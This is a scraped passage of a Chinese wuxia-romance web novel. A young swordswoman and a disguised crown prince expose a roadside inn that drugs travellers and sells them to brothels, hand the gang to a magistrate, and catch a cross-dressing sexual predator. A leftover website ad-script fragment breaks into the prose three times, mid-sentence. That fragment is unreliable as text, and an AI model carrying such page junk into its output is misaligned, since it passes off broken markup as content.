姜蝉衣正在理解‘供人取乐’几个字,就听得后半句,当即惊的瞪大眼。 皮肉生意?!吃人的? 她确实曾经听师父说过有卖人肉的地方,那时还觉得是师父为了不让她下山特意吓她的,原来,竟真有这种生意! 姜蝉衣一时又惊又怒。 他们竟想吃了她! 这是要她命的,可往死里打! 姜蝉衣觉得剑有些不趁手,迅速在周围寻来一根木棍,在手里颠了颠后不由分说的抡在小二身上。 其他人看这阵仗想趁此机会逃跑,却无一例外被姜蝉衣发现,揪了回来。 一人几棍子轮流着打,半点不厚此薄彼。 一阵哀嚎声此起彼伏,响彻天际。 燕鹤到时看到的就是这一幕。 小娘子一次又一次的扬起棍子,高高束起的马尾随着她的动作垂落在一侧胸前,漂亮的小脸紧紧绷着,眼神坚定的像是在做一件很紧要的事,认真而细致。 凶悍至极。 震惊,茫然,错愕一一自太子天塌下来都能波澜不惊的眼底闪过。 再三确认他应当没有认错人,才飞快下马快步走过去:“姜姑娘!” 姜蝉衣闻声刚抬头,手腕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便已被人握住,她偏头看着那张不算陌生的被造物主格外偏爱的脸,微微一怔。 “燕公子?” 黑店众人眼见有人出现,宛若抓住了救命稻草,一把鼻涕一把泪的求救:“公子救命,公子救命。” 姜蝉衣皱了皱眉,便要抽开手继续打,但又被燕鹤阻止,温声道:“姜姑娘,为何打人?” 不是责怪,而是询问。 姜蝉衣气愤道:“他们要吃我!” 燕鹤眼底再掀波澜,有一瞬以为自己听错了,姜蝉衣见此便道:“燕公子也觉得荒唐对吧,竟有人吃人肉,简直是天理难容,人神共愤,我今日定要替天行道!” 小娘子着实气的狠了,脸蛋都红扑扑的,但燕鹤更恍惚错愕。 而今太平盛世,他每年游历各地,还从未听过这样灭绝人性之事。 黑店的人比他还恍惚错愕。 老板最先开口,因嘴上挨了一棍子,掉了几颗牙,混着血口齿模糊,但还是能分辨出他的话:“祖宗啊,冤枉啊,我们何时说要吃你的肉?” 姜蝉衣手动不得,好在他离她近,一脚便踢过去:“我亲耳听你们说要将我卖进青楼,我又问你们青楼是何地,也是你们亲口说那是做皮肉生意的地方,我还能冤枉你们不成!休要胡搅蛮缠!” 黑店所有人的哀嚎停止了一瞬。 天呢,天老爷诶,到底谁在胡搅蛮缠啊! 短短几息,燕鹤再一次被震在原地。 不过幸得有他王叔这些年对他的磨炼,他很快就平稳下来,将姜蝉衣拉到了一旁,温声安抚:“姜姑娘先消消气。” 姜蝉衣听见这话猛地抬眼瞪他。 他竟要帮这些恶贯满盈的人! 看着小娘子眼里的控诉和委屈,燕鹤只觉太阳穴突突直跳,他尽量用平和的语气道:“他们不是好人,该受到律法的惩治,不过……” 燕鹤有些艰难道:“姜姑娘有所误会,青楼不是吃人肉的地方,皮肉生意,也不是吃人的意思。” 姜蝉衣眼底怒意消退些许,逐渐浮现几分迷茫,不解道:“不是吃人,那是何意?” 燕鹤沉默了:“……” 端方如玉的太子一时想不出该怎么和一个涉世未深的姑娘解释青楼是什么地方。 “青楼就是男欢女爱纵情享乐的地方啊!”被打的老板莫名感到几分委屈。 合着他们挨着顿毒打也是个误会! 姜蝉衣眼底最后的怒气也慢慢散去。 男欢女爱,纵情享乐? 听起来,倒确实像是个好地方。 见小娘子面上仍有迷惑,燕鹤怕她又想到别处去,不得不尽量细致的解释道:“青楼的姑娘们很多并非自愿卖身,不乏有像这样的黑店将女子迷晕卖进去,一旦进了那里,便不由己身。” “姑娘们被逼迫委身客人,生不如死。” 姜蝉衣直勾勾盯着燕鹤,眼底带着认识了新事物的震撼。 她听懂了! 所以,那确实不是个好地方! 才消减下去怒意又噌地冒上来,咬牙切齿:“他们还是得死!” 小娘子气力大,又因怒气下意识动了几分内力,燕鹤差点没能拉住,情急之下伸手拥住她的手臂,将人拦下:“姜姑娘,杀人犯法。” 姜蝉衣停下动作,抬头看他:“江湖都讲究快意恩仇。” 好一句快意恩仇。 可他是太子,总不能叫她在他眼皮子底下杀人。 燕鹤默了默,问:“姜姑娘杀过人么?” 姜蝉衣摇头,如实道:“没有。” 燕鹤便认真道:“如此,姜姑娘何必因他们脏了自己的手?” “他们所犯之罪必有律法惩治,不如姜姑娘与我一同将他们送往衙门,让公门处置,如何?” 郎君声音温和,如山泉清润。 姜蝉衣慢慢地冷静了下来。 ‘蝉衣啊,你要切记你的身份,不到万不得已不可手染鲜血,江湖有江湖的规矩,朝堂有朝堂的律法,你终归是要回去的’ 见小娘子神色松动,燕鹤试着去取她手中已经沾上血的木棍:“我向你保证,他们都会受到应有的惩治。” 姜蝉衣低头瞥了眼他的手。 十指修长,完美无瑕。 肯定很好摸? “行,要是公门不秉公处理,我闯衙门杀他们。” 燕鹤:“……好。” 9. 第 9 章 这间开在山野的黑店一共七个人,五男二女,在这里已经开了快两年了,之所以能这么久安然无恙,是因为他们有‘眼力见’。 像那种一看就是硬茬惹不起的,亦或是如燕鹤这样通身贵气的郎君,他们是不敢放肆的,老老实实做生意,顶多讨几个赏钱。 要是遇上同姜蝉衣这样落单的小娘子或是手无缚鸡之力的小郎君,那对于他们而言就是来了大生意。 一包蒙汗药下去,再醒来人就到了青楼或南风馆,那里头多的是折磨人的手段,连寻死都不可能,真真是叫天天不应,叫地地不灵。 等家里人发现人失踪报官,一切都晚了。 官府的案子堆成山,无从查证又无权无势的人口失踪案个把月就在柜子上落了灰。 无人知道小娘子小郎君正遭受着怎样的屈辱折磨,更不会怀疑到一个做‘正经生意’的小小茶棚上。 据老板也就是这间黑店的头领大哥称,这两年,他们拢共卖了三十来人。 赚了白银八百余。 若非燕鹤拦着,姜蝉衣当场就想将他们打死。 “他们死了,被他们卖了的三十来人便永远也找不到了。”燕鹤语气沉重道。 也或许,已经找不回来了。 姜蝉衣沉默许久后,一言不发地钻进黑店内间去找来几根绳子,将七个人分成两捆结结实实绑在一起。 她将其中一根绳子交给燕鹤:“走吧。” “嗯。”燕鹤接过绳子绑在马背上,与姜蝉衣并行前往粟江。 此处隶属于粟江城。 一路上,小娘子都紧紧绷着脸。 燕鹤知道她心中难宁也就没出声打扰,容她自己消化。 刚出江湖的少年少女多是意气风发,嫉恶如仇,头一次见识人世间的腌臜事,难以平复是常情。 见得多了也就麻木了。 经年后还能保持初心的,寥寥无几。 马背后绑着人,怕将人拖死只能缓缓骑行,用了一个时辰才进粟江城。 一进城门,便引来守城兵卫的注意,拦下了他们。 燕鹤解开绳索,温淡开口:“我们在栗山腰峰处遇见黑店,正要送他们去衙门,劳烦几位官爷搭把手。” 城门离衙门并不近,再一路拖过去人怕是要咽气。 几位兵卫对视一眼,看了眼早已昏死过去的两捆人,眉头紧皱,兵卫队长呵斥道:“你二人先下马来!” 光天化日之下拖着人行走,如此行径,谁知道是不是黑吃黑。 姜蝉衣刚解开绳索,听得这话看向燕鹤,见他在马背上巍然不动,她便也稳稳坐着。 “你二人听见没有,下马!” 兵卫队长见二人无动于衷,脸色一沉拔出刀厉声喝道。 就在这时,有一个兵卫眼尖的看见了燕鹤腰间露出的玉牌,脸色一变,立刻上前低声道:“头,是玉家人。” 兵卫队长拧了拧眉头,在下属的示意下看去。 果然,只见郎君腰间悬着一块黄玉金鱼玉牌,挂着的是金色穗子。 能挂金色穗子的不是玉家当家人,就是玉家家主的贵客。 他收回视线眼神落在郎君脸上,他见过玉家那位家主,风流倜傥,玉树临风,而眼前的郎君龙章凤姿,天人之貌,半点不逊色那位家主。 这玉家主交朋友也看脸吗? 兵卫队长缓缓收起了刀。 玉家不仅仅是皇商,玉家家主身份更是不寻常。 这位家主与京城那位眦睚必报,极其护犊子的小王爷是结拜兄弟,就在去岁,玉家家主被一个不知情的富商揩油,人一封信哭到玉京城,不过半月,那位小王爷就风风火火赶来,亲自坐镇盯着知州大人将那富商的老底掀的干干净净。 现在人还在牢里关着。 总之一句话,玉家人不是他们能得罪的。 “抱歉,多有得罪。” 兵卫队长能屈能伸,拱手道:“我这就将人送去衙门,敢问郎君贵姓?” 衙门需要报案人的名姓存档。 却听燕鹤道:“我们会去衙门。” 兵卫队长不免有些意外,像这样的贵人多是事务繁忙,哪有空管这样的事。 但他自然不敢询问,应了声后,就吩咐属下拉了辆板车来,将两捆人原封不动的抬了上去。 一行人浩浩荡荡往衙门而去。 _ 粟江衙门 “大人,人口失踪绝非小事。”青年官差正与上官据理力争:“下官刚整理出来,这两年来,报人口失踪的案子多达四十九起,下官认为,这绝不寻常。” 知州大人正忙的焦头烂额,头也不抬:“所有案子都不寻常,这些案子当时你不都查过,不是没有找到线索吗,当时寻不到,如今还能找到不成,没有新的线索前重新调查岂不是浪费时间?” “当时被迫放弃是因为人命案和极其紧急的一些案子,可就在半个月前,又有人口失踪案,下官整理过发现,此案与先前失踪的三十一桩失踪案特征相似,都是年轻俊俏的小娘子小郎君,且都是要经过粟江。”青年沉声道:“大人,下官怀疑,这恐怕涉及人口买卖。” 知州大人笔锋一顿,总算抬头,拧眉接过青年整理好的卷宗和画像。 果然,所有失踪的少年少女年纪都相仿,且都是一副好相貌。 知州大人看完,神情凝重:“可还有其他线索?” 青年默了默,摇头:“没有。” 若是有,他直接便出门去了,哪里还需来这里请调人手。 知州大人又看了眼画像,长长叹了口气,道:“半个月,若半个月后还没有任何线索,便不能再将重点放在这上头。” 衙门的案子多的数都数不过来,不能一直在一个没有任何线索的案子上耗着。 “是。” 青年正要领命而去,突见有人疾步进来,匆忙行完礼,神情古怪的禀报:“大人,玉家的人送嫌犯来了。” 知州手中笔一颤。 自从那位小王爷在他这儿坐了几天后,他现在一听见玉家这两个字就头疼! “来的是谁!” 几乎同时,青年冷声:“哪桩案子?” 衙门悬赏告示几乎未断,多的是江湖侠客送嫌犯领赏的,并不稀奇。 但玉家人送来的,需慎重对待。 上一个送来的富商,害得衙门上下连轴转几天,连口热茶都没喝上过! 官差先回知州:“卑职不认识,但佩的是黄玉金鱼,挂的金色穗子。”又回青年道:“人口失踪案。” 知州只觉眼前一黑。 旁人只道黄玉金鱼金色穗子是玉家当家人或家主贵客,但他确是知晓其中内情的。 黄玉玉制金鱼才是玉家当家人玉明澈,而黄玉金制金鱼挂金色穗子,不是贵客,是贵人! 玉京城里的贵人! 至于那金鱼是金制的还是玉制的根本不用问,这衙门里哪个老人没见过玉明澈,手下人跟了他快五年,既然不认识来人,那金鱼就只能是‘金’做的! 知州悲切的喊了句天老爷后,迅速将笔放下,起身往外迎:“人在哪里,长什么模样?” 菩萨保佑,千万别是那明亲王府的祖宗! “人在院里。” 官差形容:“公子容貌无双,姑娘貌美高挑。” 知州双腿一软,差点儿栽在门槛上。 该不是明亲王府的公子和姑娘吧! 那可是两个魔王祖宗啊! 青年眼疾手快的扶住知州,重点却在案子上:“哪桩失踪案?” 官差面色复杂道:“三十二桩。” 话落,知州大人身形一晃,失声:“多少?” 官差与青年一左一右搀着知州,道:“三十二桩。” 青年脸色早已大变。 这两年特征相符的失踪案,正是三十二桩! 知州回过神来,声音颤抖:“完了完了,完了完了。” 一旦明亲王府因此事发难,他乌纱帽保不保另说,性命能保住都是开恩了! “大人,下官先过去看看?” 青年不知黄玉‘金’鱼意味着什么,心思早已飞到了案子上,请示道。 谁知知州狠狠瞪他一眼,嘴唇哆嗦:“扶本官过去!” 逃避解决不了任何问题。 只要请罪快,说不定能被格外开恩。 青年噤声,与官差扶着知州往堂中走去,将要到时,知州不死心,又问:“那位公子和姑娘是何年纪?” 官差仔细回想后,道:“公子弱冠之龄,姑娘瞧着应该十六七岁。” 知州提到嗓子眼的心骤然落下,立刻拂开二人搀扶的手,站直了。 公子弱冠与明亲王府小公子年纪对不上!王府姑娘还未及笄,也对不上。 菩萨显灵了! 青年和官差对视一眼,青年无声指了指脑子。 最近太忙,大人办案脑子办坏了? 官差赶紧低下头。 他眼睛瞎了什么也没看见。 一行人穿过游廊,再绕过壁照,便到了正堂。 知州整理好仪容面带微笑的迎出去,此时,郎君背对着他,他便先看了眼姑娘。 确认没在玉京见过,更放心了。 但毕竟有‘金’鱼金穗,身份必然也非同寻常,不可怠慢,但又不能损了自身威严,便摆出一副慈和的面容,温和问道: “听说二位送来了嫌犯?” 青年和堂中所有官差都忍不住抖了抖,浑身起了一层鸡皮疙瘩。 这时,背对着他们的郎君转过身来,恰逢太阳穿过屋顶落在他的身后,宛若洒下一轮光圈。 那张如精雕细琢的脸愈感惊为天人。 姜蝉衣的视线一时挪不开了。 师父说山下的郎君会骗人,尤其是长得好看的,再三叮嘱她绝不能被他们的花言巧语所蒙骗,可是师父没说。 郎君这样好看。 他要是对她花言巧语骗一骗,一骗一个准! 然而这张美如天神的脸却让知州的笑容僵在了唇边,不止笑容,他整个身躯都好像在一瞬间僵硬了。 头脑一阵轰鸣,人往后倒去。 青年一个箭步上前将知州扶住:“大人!” 知州没有昏过去,只是腿吓软了。 菩萨没有显灵,还给他糊了层厄运。 这确实不是小公子,他是太子殿下! 天要亡我! “大人可无碍?” 熟悉的温润的声音好像带着几分空灵:“在下今日路过粟山,抓获一处黑店,逼问之下得知他们拐卖人口三十二人,特意将嫌犯给大人送来。” 大人,在下…… 知州脑中似乎炸起一道闪电,将人炸的稍微清明了些,紧着最后那口心气慢慢站起来,稳住脚步。 太子殿下每年都要微服私访,眼下是在提醒他不能叫破身份。 前年进京述职,他还在太子跟前说粟江风调雨顺百姓安居乐业,如今却被揪出如此大案,已是乌纱难保,再不敢戳破殿下身份,惹怒殿下。 知州大人吞咽了下,尽量让自己平静下来,勉力控制好音调:“好,好好。” “多谢……公子。” “……我近日身体不适,方才见了太阳有些犯晕,没,没吓着公子吧。” 燕鹤轻笑:“大人要多注意身子才是。” “是是是,公子说的对。” 知州努力撑着想要下跪的膝盖,和和气气道:“公子请入座。” 燕鹤却道:“不必了。” “嫌犯已送到,接下来的事便交给大人,三日后我再来粟江。” 知州听明白了。 这是要他尽快查清此案,但凡出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 半点纰漏,他官途也就到头了。 “是……” 知州咬着牙,硬生生控制住要弯下的腰,笑着:“此案关系重大,我定会查的清清楚楚,给……受害人一个交代。” 燕鹤嗯了声,又看向昏死过去的人,道:“劳烦大人将他们唤醒,我有事询问。” 知州连忙应下,推了推身边的青年:“快去。” 青年看了眼燕鹤,拿起旁边清扫用的水桶,毫不留情的对着两捆人狠狠泼去。 当即便有人转醒,开始痛苦的哀嚎。 燕鹤从怀里拿出画像对着几人展开,问:“可认识这位姑娘?” 隔得远,刚刚醒来的几人眼睛里又有谁,压根儿看不清。 青年瞥了眼燕鹤跟前的水渍,上前几步:公子,我来问?” 燕鹤嗯了声,将画像卷好递给青年。 青年便明白画上的人不是他能看的,接过后走到几人跟前蹲下,寻了个其他人瞧不见的角度展开画像,冷声问:“谁见过这位姑娘?” 几个人已经被姜蝉衣打的服服帖帖,听见问话努力辨认着,很快就有人道:“我见过。” 青年立刻便收好画像起身。 燕鹤:“何时何地,什么样的情形下见过?” 说见过的人正是给姜蝉衣倒茶的那个小二,他忍着痛道:“昨天夜里,亥时末,我刚收完茶摊,就见一辆马车驶过,马车很简陋,窗户上只挂着层帘子,飞奔时帘子被掀起,因马车里点了烛火又离的不远我就看清了里头的人,正是这位姑娘。” 他当时还在惋惜摊子收早了,不然若能得手,肯定可以卖个好价钱。 姜蝉衣闻言若有所思的看了眼青年手中的画像。 昨夜宣姑娘是在戌时四刻至亥时三刻失踪的,极有可能在亥时末出现在茶摊。 但,有这么巧合吗? 姜蝉衣心中生了疑,自然要弄清楚,遂上前几步:“我看看画像。” 青年此时正要将画像交还给燕鹤,闻言偏头看向姜蝉衣。 燕鹤犹豫片刻,轻轻点头。 青年这才将画像递给姜蝉衣。 姜蝉衣没有全部打开,只背着人看了眼脸,便确定了。 与他们之前在刘家拿到的画像一模一样。 她将画像卷好递给燕鹤,面色略有些复杂:“你也在找她?” 也? 燕鹤不动声色的垂眸,轻轻嗯了声。 又问小二:“马车上有几人?可看清她可受制于人?” 小二回答:“当时天色太黑了,小的只隐约看见了还有玄色的衣袍,只能确定至少有两人,是否受制于人小的便不知道了。” 两人。 燕鹤姜蝉衣同时沉默了下来。 “公子,大人,我是不是举证有功,能不能从轻处罚?” 小二战战兢兢道。 余光瞥见姜蝉衣动了,他下意识缩了缩脖子,将头埋下去。 青年瞧见又看了眼姜蝉衣。 这些人身上的伤是她打的? 知州虽然没看清画像,但他听明白了,太子殿下在找人。 找的是位姑娘。 太子殿下找的姑娘身份必然也不一般,遂忙上前问:“公子可是在寻人,可需要……官府帮忙?” 虽然他觉得太子殿下可能并不需要,毕竟太子殿下即便是微服私访,身边也不缺人,但他总不能视而不见。 且万一要是能帮上忙,那岂不是能戴罪立功? 燕鹤本也是想说不必,但转念一想,他如今身边确实没有可用之人。 小叔叔既然断了他的行踪,他的人恐怕一时半会儿找不过来。 宣姑娘性命攸关之际,多一个人或许就能多一分力量。 燕鹤抬眸看向青年。 知州大人何等眼力,立刻便将青年往太子跟前一推:“公子,这是我们衙门的录事参军,闻达,正好他手上案子了结,有几日假,不如就让他跟着公子,看能不能帮上什么忙。” 所有官差眼皮子直跳。 闻参军整日将衙门当家,案子一个接一个,何曾休过一个整假,还几日? 燕鹤看向闻达,问:“你可愿?” 所有官差心道,肯定不愿。 闻参军何等风骨脾性,怎么可能放着衙门的案子不查,帮他找人。 然却见他们傲气凌云的闻参军拱手道:“公子找人也是失踪案,乃我职责所在。” 官差惊的瞠目结舌,知州却备感慰藉,还好这小子今天没有跟他犟。 “说的对,你赶紧收拾收拾,跟公子走吧。” 好像生怕太子反悔,只恨不得立刻将人打包送出去。 闻达几番欲言又止后,终是什么也没说,颔首应下。 燕鹤与姜蝉衣也不再留,同知州告别后离开了衙门。 几人一出门,官差看向知州额上的汗,问:“大人您很热吗?” 知州拿起帕子擦了擦,瞪他一眼,道:“扶我进去。” 希望闻达能够帮他将功赎罪,稳稳将这尊神送走! 走出衙门,趁着等闻达的间隙,燕鹤问道:“姜姑娘认识宣姑娘?” 姜蝉衣摇头,想到刘家的嘱咐,她试探道:“你是不是也接了刘家的差事?” 燕鹤便明白了。 她找人,是因为接了刘家的差事。 “我虽不是接了刘家的差事,但也在找宣姑娘。”燕鹤不能说贡品丢失,只道:“我一位叔叔家丢了一位当家的,据查失踪前与宣姑娘有过一面之缘,是以便寻宣姑娘问一问可否知道些线索,但今日去刘家后,却被告知宣姑娘失踪了。” 姜蝉衣哦了声。 “那我们现在目标一致,可以一起找人吗?” 三个人一路找,总比她一个人来的快。 燕鹤自不拒绝,轻笑点头。 “好。” 10. 第 10 章 粟江城门 兵卫正查着路引,见队长王桐回来,忙唤了个人顶替自己迎上去,好奇问道:“头,怎么样,来头大吗?” 王桐看了眼城门口来往的人群,道:“知州大人亲自出来迎的。” 来头小不了。 幸得手下人眼尖,否则将人得罪了,饭碗怕是都保不住了。 兵卫一惊还要继续问,就听王桐扬声朝城门口正在检查的几个兵卫道:“都警醒着些,别把嫌犯从眼皮子底下放走了!” “是!” 众兵卫齐声应道。 王桐这才朝身边的兵卫道:“三十二桩人口失踪案,衙门这几日有得忙,近日未破获的悬赏告示多贴几张在城门口,让兄弟们都盯仔细了,要是在这当口捅了篓子,差事都得丢。” 兵卫忙肃着神情应下,转身去吩咐了。 王桐抱臂懒懒地靠在城墙上,从荷包里拿了把葵花籽啃,状似漫不经心,实则眼如利刃。 自从明亲王府那位小王爷来了趟粟江后,上到知州下到小卒,都绷紧了一颗心,兢兢业业,执法严明,好似生怕再把那祖宗招来。 也因此,粟江治安大胜从前。 但毕竟辖区太大,案件依旧不少,城门口隔几日就要多上一张通缉令,而在城门口当差的对这些通缉令都能倒背如流。 “从哪来?”“小女子从平江来。” “来此作甚。”“投奔亲戚。” 王桐不经意间看过去,便见一个身材高挑的俊俏娘子正接受兵卫的查问,通缉令上有女子,但年纪对不上,往往像这样不符合嫌犯条件的都是按惯例问几句就放行。 眼下也不例外。 “下一个。” 王桐收回视线,余光在城墙上一张通缉令上划过,葵花籽啃的嘎嘣脆。 但一声脆响后他却突然停住动作,猛地看向已被放行的女子。 女子身材高挑,几乎与兵卫平肩,媚眼如丝,指甲染了梅红,步伐轻盈,裙带飘扬,不失为一个大美人。 王桐却脸色一变:“站住!” 众兵卫闻声随着王桐的视线将目光落在女子身上,他们头可不是个好美色的,唤住人必然是因为此女子有嫌疑。 离得近的兵卫已经按着腰间的刀随王桐一道靠近女子。 “转过身来。” 王桐边大步上前边厉声道。 然那女子却没有转身,反倒是将手中的包袱往他们的方向一掷,足下一点飞快朝前掠去。 王桐脸色大变,吼道:“还愣着作甚,留两个人,其他人跟我追!” “一个个眼睛都长头顶上了,看不出来胸前不对称吗?” 众兵卫老人占多数,反应极其迅速的跟着王桐追了上去,但心里都直犯嘀咕,哪个好官差往人家娘子胸前看啊! “砰!” 追逐中,一个官差猝不及防被女子掏出来的白面馒头砸中面门,他剜了眼滚在地上的馒头,顿时明白了什么,抬手狠狠抹了把脸,恶心的恨不得将面皮都抹下来:“操,老子抓住弄不死你!” “官爷好爆的脾气,奴家喜欢。” ‘女子’一边逃,还不忘挑衅道。 ‘女子’的轻功极好,又选了条人多的路逃亡,很快就甩兵卫一大截,而就在此时,‘女子’似是看见了什么,眼睛骤然一亮,原本已经脱身的‘女子’换了副仓惶神色跌跌撞撞跑过去。 “救命啊,救命啊。” 此时,姜蝉衣一行人已从衙门过来,往城门处走,闻达正回着燕鹤的问题:“回公子,每日进城的人皆会查看路引,若身份存疑者都会过堂。” 姜蝉衣闻言便道:“若她是被人劫走,没有路引进不了城。” “嗯。” 燕鹤:“但也不乏一些人弄虚作假。” 姜蝉衣微微一怔,快速看了眼燕鹤。 她的路引就是假的。 她的户籍在玉京城,师父也不知道从哪里给她弄了个假的路引来。 闻达点头道:“公子所言有理,不过按照公子与姑娘先前所说,那位姑娘在夜里失踪,次日早晨进京,就算是造假的路引也不可能这么快,除非早有蓄谋。” 闻达既然要帮着找人,宣则灵失踪一事自然不能瞒着他,只是燕鹤和姜蝉衣都默契的没有告知他宣则灵的身份。 毕竟关系到姑娘家清誉,少一人知道都是好的。 就在这时,突见一个女子慌慌张张的喊着救命,朝他们扑过来。 对,姜蝉衣确定,就是扑! 姜蝉衣与燕鹤并肩立着,她看的很清楚,那女子的眼神在她和燕鹤身上迅速游转了番后,选择了燕鹤。 “公子救救奴家。” 姜蝉衣几不可见的的皱了皱眉。 这声音听着,很让人不喜。 就在女子将要扑到燕鹤身上时,姜蝉衣快速拔出剑横在女子脖颈,毫不留情的往前划去,那女子面色一变,一个后仰躲过了剑刃。 身手矫捷,哪还有半分慌张。 燕鹤不动声色的收回手掌。 “你果然会武功。” 姜蝉衣出手正是因为看出女子是行家,一个内行高手装成这幅模样必是有所图谋。 被搅了好事,女子脸上却没有半分不耐,反而用黏腻腻的视线盯着姜蝉衣:“小娘子可是怪我厚此薄彼,你舍不得你相好的,那你跟我走好了。” “小两口都生的这样好,哪个我都喜欢。” 姜蝉衣一怔,回身看向燕鹤。 相好的? “小心!” 燕鹤正要上前,却见姜蝉衣已转身持剑挡住了女子一击,二人迅速的缠斗在一起。 “好厉害的小娘子,我喜欢。” ‘女子’瞥了眼身后追来的人,眼神一冷,从腰间掏出一包粉末往姜蝉衣跟前一扬:“我带小娘子去快活快活。” 说完,‘女子’便要伸手去揽姜蝉衣的腰身,燕鹤神色一变,然下一刻却只见姜蝉衣的剑划过‘女子’手臂,溅出一串血珠。 “唔!” ‘女子’捂住手臂,错愕的看着姜蝉衣:“你不惧迷药?” 大约是太过震惊,这个音节没有伪装,姜蝉衣一愣:“你是男的。” 她竟没看出他是男扮女装! 王桐远远看见这一幕,认出姜蝉衣,心头一惊,生怕姜蝉衣着了道,提气吼道:“姑娘,他是个采花贼!” 采花贼? 一瞬间,姜蝉衣杀意涌现。 采花贼一击没得手,便知错过了最好的时机,转身就跃上房顶欲逃走,他的轻功上乘,否则也不至于甩王桐等人那么大一段距离。 “小娘子有缘再见啦。” 姜蝉衣却冷笑一声:“今日缘分还未断。” 王桐等人眼睁睁看着那采花贼飞檐走壁跑了,心头正懊恼不已,却突见橙色身影凌空而起,不过一个眨眼,已追上房顶将人拦下。 “操,这是什么功夫!” 被馒头砸中面门的兵卫先是惊的瞪大眼,紧跟着他欢呼一声,激动喊道:“姑娘,此人害人无数,千万别让他跑了!” 抓住这狗日的,他一顿要给他塞一百个馒头。 王桐皱眉瞪他一眼:“闭嘴!” 他呵斥完手下人便朝燕鹤和闻达走去,拱手问礼:“闻参军,公子。” 燕鹤抬眸紧紧盯着屋顶上的打斗,闻达便沉声问:“怎么回事?” 王桐遂将方才发生的事复述了一遍,其余的不必多说,闻达也知晓了,朝燕鹤道:“此人在平江城也犯过案,两城曾联手设陷阱围捕,但因其轻功实在了得,那次只将其重伤没能抓住。” 说到这里他又抬头看向屋顶。 今日若没有这位姜姑娘在此,怕又是只能眼睁睁看他跑了。 “姜姑娘的轻功世间罕见。” 燕鹤对这话很认同。 她的轻功确实出乎他的意料,在此之前他只见过一个人有这样的轻功。 那人便是明亲王府暗卫统领,玄烛叔叔。 落霞峰,当真只是个揭不开锅的武林门派? “姑娘厉害!姑娘抓住他!” 方才王桐的嗓门实在过大,周围不少百姓都听见了,不约而同的给姜蝉衣加油助威:“姑娘,打死他。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我听说他害了二十多个姑娘郎君,有一半都不堪受辱自尽了,这简直就是畜生!” “这种人不配活在世上,姑娘大义,杀了他。” “杀了他,杀了他!” 姜蝉衣手中剑一抖。 不敢置信的往下方开了眼。 他采的还有郎君? 虽然这又是她未曾了解过的事物,但胜在她理解和接受能力强。 姜蝉衣看了眼燕鹤,怪不得方才他先是朝燕公子扑过去。 “姜姑娘小心。” 燕鹤皱着提醒道。 她心可真大,打架还能走神。 燕鹤见姜蝉衣躲过采花贼的偷袭,才转头看向闻达。 只淡淡一眼,闻达却感觉自己被一股强大的气势压住,连呼吸都好像停滞了几息。 他勉强撑住,扬声喝道:“衙门办案,都闭嘴!” 粟江百姓大多都识得闻达,不敢再造次,屏气凝神的盯着上方的打斗。 周遭安静下来,那股骇人的气压也消失了。闻达不由轻轻呼出一口气,抬眸看了眼燕鹤。 他的直觉果然没有错,知州大人认得眼前人,但却不敢说破他的身份。 像方才那样的气势是长期处于上位者才会有的威压,一般的勋贵人家都很难养出来。 百姓方才的话姜蝉衣全都听见了。 她的杀意也就更浓了。 她出手愈发凌厉,招招都是杀招。 她没杀过人,但看师父杀过。 那是一帮泯灭人性的山匪,他们烧杀了一个村子,残害村子里的女子,虐杀孩子,她和师父赶到时,只来得及救下最后一个活口。 那是她第一次见到死人,血腥残忍至极。 那年她十一岁,内力已经习的不错了,但师父不让她动手,只让她牵着那个后来成为了她师妹的可怜女孩子在旁边看着。 那天,师父告诉她们,学成之后不可仗着武艺残害生灵,但若遇上像这样十恶不赦的人,必诛之。 所以,她不怕杀人。 然就在剑正要横过采花贼脖颈上时,采花贼身上掉出了一块手帕。 她眼尖的瞧见了上头的芍药,剑锋一转将手帕接住,再一剑穿过采花贼肩头,厉声道:“手帕从何处来的?” 她在刘家接差事时,去过宣姑娘的屋子,看见过宣姑娘常用的一叠手帕,不论是颜色和芍药,都与这个手帕一模一样。 采花贼忍着痛道:“一个小娘子身上的。” 姜蝉衣将剑往前送了几分,怒道:“你可欺负她了,她在何处?” “唔,没有...” 采花贼打着先示弱再趁她不备逃走的主意,道:“她身边有个郎君,凶得很,要不是他受了伤,我差点就被他弄死了。” 听见宣则灵无虞,姜蝉衣轻轻松了口气,又问:“她在何处?” 采花贼眼神微微闪了闪,慢慢道:“她在粟江城外...” 突然,他猛地往后掠去,硬生生将身体从剑上拔出,转身便跑。 姜蝉衣冷冷地看着他,姑娘身上的杀气太重,燕鹤隐约感知到了什么,只还来不及出声,便见橙色人影一晃,定睛时采花贼已从屋顶落下,随着一道声响,震起地上一层灰。 姜蝉衣手持利剑从天而降,落在采花贼的身侧,冷声道:“落霞峰门规第三条,惩奸除恶,替天行道。” 周遭安静了好几息,突然响起雷鸣般的掌声和叫好声。 就连兵卫都觉得出了一口恶气。 唯有闻达和王桐沉着脸。 江湖有江湖的规矩,朝堂也有朝堂的律法,若今日他们不在场,这确实是一件大快人心的事,可他们是官差,不能容人在他们面前杀人。 但若说要抓姜姑娘,别说燕鹤这关过不了,就是民愤也难平。 就在这时,只见燕鹤缓步上前,半蹲下探了探采花贼的鼻息,而后语气淡然清润:“还有鼻息,既然人抓到了,便带回衙门好好审一审。” 闻达和王桐同时看向燕鹤。 这点鼻息只是还没死绝罢了,带回去审什么,审尸体吗? 11.第 11 章 一阵诡异的寂静后,闻达面无表情地抬眸对上燕鹤的眼神,短短一息便挪开,吩咐王桐:“人还活着,将人带回衙门!” 百姓中发出一阵欢呼。 同时伴有不满的抱怨声:“啧,命真是大,这么高摔下来都没死。” “就是啊,命真硬。” “这种恶人会判死刑吧。” “肯定会啊,当朝□□罪就是死刑。” 姜蝉衣皱了皱眉,没死? 她剑锋一转,正要动手便被燕鹤握住手腕:“姜姑娘。” 姜蝉衣抬眸无声地看着他,眼底有着与上一次全然不同的执着。 他今天说什么她都要杀他。 燕鹤看懂了。 闻达也看懂了。 他迅速朝王桐打了个手势,后者意会过来,默不作声的一挥手,跟几个兵卫抬着采花贼飞快的跑了。 “你放手。” 姜蝉衣看了眼被四仰八叉抬走的人,皱眉朝燕鹤道。 若不是觉着他实在像那天上高悬的明月,不可亵渎,她一掌便能将他甩开。 